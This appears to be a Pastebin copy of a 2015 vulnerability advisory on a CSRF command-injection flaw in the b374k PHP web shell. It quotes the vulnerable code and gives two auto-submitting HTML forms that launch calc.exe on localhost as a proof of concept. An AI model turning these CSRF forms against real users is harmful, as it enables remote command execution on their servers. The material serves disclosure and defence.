Advertisement
hyp3rlinx

b374k Web Shell CSRF Command Injection

Nov 12th, 2015
1,070
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.94 KB | None | 0 0
  1. [+] Credits: hyp3rlinx
  2.  
  3. [+] Website: hyp3rlinx.altervista.org
  4.  
  5. [+] Source: http://hyp3rlinx.altervista.org/advisories/AS-B374K-CSRF-CMD-INJECTION.txt
  6.  
  7.  
  8.  
  9. Vendor:
  10. ============================================
  11. github.com/b374k/b374k
  12. code.google.com/p/b374k-shell/downloads/list
  13. code.google.com/archive/p/b374k-shell/
  14.  
  15.  
  16.  
  17. Product:
  18. ==============================================
  19. b374k versions 3.2.3 and 2.8
  20.  
  21. b374k is a PHP Webshell with many features such as:
  22.  
  23. File manager (view, edit, rename, delete, upload, download as archive,etc)
  24. Command execution, Script execution (php, perl, python, ruby, java, node.js, c)
  25. Give you shell via bind/reverse shell connect
  26. Connect to DBMS (mysql, mssql, oracle, sqlite, postgresql, and many more using ODBC or PDO)
  27. Process list/Task manager.
  28.  
  29. This is useful for system/web admin to do remote management without opening cpanel, connecting using ssh,
  30. ftp etc. All actions take place within a web browser.
  31.  
  32. Note:
  33. b374k is considered by some as a malicious backdoor and is flagged by some AV upon download.
  34.  
  35.  
  36. Vulnerability Type:
  37. =============================
  38. CSRF Remote Command Injection
  39.  
  40.  
  41.  
  42. Vulnerability Details:
  43. =====================
  44.  
  45. No CSRF protection exists in b374k Web Shell allowing arbitrary OS command injection, if currently
  46. logged in user visits our malicious website or clicks our infected linxs.
  47.  
  48. vulnerable b374k code:
  49.  
  50. <?php
  51. if(isset($_GP['cmd'])) <------ $_GP holds value of $_GET passed to the shell.
  52.  
  53. <form action='<?php echo $s_self; ?>' method='post'>
  54. <input id='cmd' onclick="clickcmd();" class='inputz' type='text' name='cmd' style='width:70%;' value='<?php
  55. if(isset($_GP['cmd'])) echo "";
  56.  
  57. else echo "- shell command -";
  58. ?>' />
  59. <noscript><input class='inputzbut' type='submit' value='Go !' name='submitcmd' style='width:80px;' /></noscript>
  60.  
  61. </form>
  62.  
  63.  
  64. Exploit code(s):
  65. =================
  66.  
  67. Run Windows calc.exe as POC...
  68.  
  69. [CSRF Command Injections]
  70.  
  71. v3.2
  72.  
  73.  
  74. Adding password and packing to b374k single PHP file.
  75.  
  76. c:\xampp\htdocs\b374k-master>php -f index.php -- -o myshell.php -p abc123 -s -b -z gzcompress -c 9
  77. b374k shell packer 0.4.2
  78.  
  79. Filename : myshell.php
  80. Password : xxxxxx
  81. Theme : default
  82. Modules : convert,database,info,mail,network,processes
  83. Strip : yes
  84. Base64 : yes
  85. Compression : gzcompress
  86. Compression level : 9
  87. Result : Succeeded : [ myshell.php ] Filesize : 111419
  88.  
  89.  
  90. (CSRF Command injection 1)
  91.  
  92. <form id='ABYSMALGODS' action='http://localhost/b374k-master/myshell.php?run=convert,database,info,mail,network,processes' method='post'>
  93. <input id='cmd' type='text' name='terminalInput' value='calc.exe' />
  94. <script>document.getElementById('ABYSMALGODS').submit()</script>
  95. </form>
  96.  
  97.  
  98.  
  99. v2.8
  100.  
  101. (CSRF Command injection 2)
  102.  
  103. <form id='HELL' action='http://localhost/b374k-2.8.php?' method='post'>
  104. <input id='cmd' type='text' name='cmd' value='calc.exe' />
  105. <script>document.getElementById('HELL').submit()</script>
  106. </form>
  107.  
  108.  
  109. Exploitation Technique:
  110. =======================
  111. Remote
  112.  
  113.  
  114.  
  115.  
  116. Severity Level:
  117. ===============
  118. High
  119.  
  120.  
  121.  
  122.  
  123. Description:
  124. ==================================================
  125.  
  126. Request Method(s): [+] POST
  127.  
  128.  
  129. Vulnerable Product: [+] b374k 3.2 and 2.8
  130.  
  131.  
  132. Vulnerable Parameter(s): [+] terminalInput, cmd
  133.  
  134.  
  135. Affected Area(s): [+] OS
  136.  
  137.  
  138.  
  139. [+] Disclaimer
  140. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
  141. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.
  142.  
  143. by hyp3rlinx
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement